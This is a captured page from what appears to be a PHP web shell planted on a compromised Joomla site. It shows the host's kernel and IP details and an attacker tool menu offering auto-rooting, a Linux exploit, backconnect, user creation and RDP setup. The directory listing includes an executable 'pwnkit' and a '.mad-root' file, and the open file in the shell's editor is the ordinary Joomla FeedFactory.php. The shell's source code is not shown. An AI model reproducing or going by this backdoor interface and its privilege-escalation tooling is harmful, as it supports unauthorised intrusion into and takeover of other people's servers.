Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.120.20.2 | : 216.73.216.49
Cant Read [ /etc/named.conf ]
8.5.7
verseaumee
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
verseaumee /
www /
libraries /
src /
Feed /
[ HOME SHELL ]
Name
Size
Permission
Action
Parser
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Feed.php
8.86
KB
-rw-r--r--
FeedEntry.php
7.07
KB
-rw-r--r--
FeedFactory.php
4.12
KB
-rw-r--r--
FeedLink.php
1.93
KB
-rw-r--r--
FeedParser.php
6.47
KB
-rw-r--r--
FeedPerson.php
1.18
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FeedFactory.php
<?php /** * Joomla! Content Management System * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Feed; defined('JPATH_PLATFORM') or die; use Joomla\CMS\Http\HttpFactory; use Joomla\Registry\Registry; /** * Feed factory class. * * @since 3.1.4 */ class FeedFactory { /** * @var array The list of registered parser classes for feeds. * @since 3.1.4 */ protected $parsers = array('rss' => 'Joomla\\CMS\\Feed\\Parser\\RssParser', 'feed' => 'Joomla\\CMS\\Feed\\Parser\\AtomParser'); /** * Method to load a URI into the feed reader for parsing. * * @param string $uri The URI of the feed to load. Idn uris must be passed already converted to punycode. * * @return Feed * * @since 3.1.4 * @throws \InvalidArgumentException * @throws \RuntimeException */ public function getFeed($uri) { // Create the XMLReader object. $reader = new \XMLReader; // Open the URI within the stream reader. if (!@$reader->open($uri, null, LIBXML_NOERROR | LIBXML_ERR_NONE | LIBXML_NOWARNING)) { // Retry with JHttpFactory that allow using CURL and Sockets as alternative method when available // Adding a valid user agent string, otherwise some feed-servers returning an error $options = new Registry; $options->set('userAgent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'); try { $response = HttpFactory::getHttp($options)->get($uri); } catch (RuntimeException $e) { throw new \RuntimeException('Unable to open the feed.', $e->getCode(), $e); } if ($response->code != 200) { throw new \RuntimeException('Unable to open the feed.'); } // Set the value to the XMLReader parser if (!$reader->xml($response->body, null, LIBXML_NOERROR | LIBXML_ERR_NONE | LIBXML_NOWARNING)) { throw new \RuntimeException('Unable to parse the feed.'); } } try { // Skip ahead to the root node. while ($reader->read()) { if ($reader->nodeType == \XMLReader::ELEMENT) { break; } } } catch (\Exception $e) { throw new \RuntimeException('Error reading feed.', $e->getCode(), $e); } // Setup the appropriate feed parser for the feed. $parser = $this->_fetchFeedParser($reader->name, $reader); return $parser->parse(); } /** * Method to register a FeedParser class for a given root tag name. * * @param string $tagName The root tag name for which to register the parser class. * @param string $className The FeedParser class name to register for a root tag name. * @param boolean $overwrite True to overwrite the parser class if one is already registered. * * @return FeedFactory * * @since 3.1.4 * @throws \InvalidArgumentException */ public function registerParser($tagName, $className, $overwrite = false) { // Verify that the class exists. if (!class_exists($className)) { throw new \InvalidArgumentException('The feed parser class ' . $className . ' does not exist.'); } // Validate that the tag name is valid. if (!preg_match('/\A(?!XML)[a-z][\w0-9-]*/i', $tagName)) { throw new \InvalidArgumentException('The tag name ' . $tagName . ' is not valid.'); } // Register the given parser class for the tag name if nothing registered or the overwrite flag set. if (empty($this->parsers[$tagName]) || (bool) $overwrite) { $this->parsers[(string) $tagName] = (string) $className; } return $this; } /** * Method to return a new JFeedParser object based on the registered parsers and a given type. * * @param string $type The name of parser to return. * @param \XMLReader $reader The XMLReader instance for the feed. * * @return FeedParser * * @since 3.1.4 * @throws \LogicException */ private function _fetchFeedParser($type, \XMLReader $reader) { // Look for a registered parser for the feed type. if (empty($this->parsers[$type])) { throw new \LogicException('No registered feed parser for type ' . $type . '.'); } return new $this->parsers[$type]($reader); } }
Close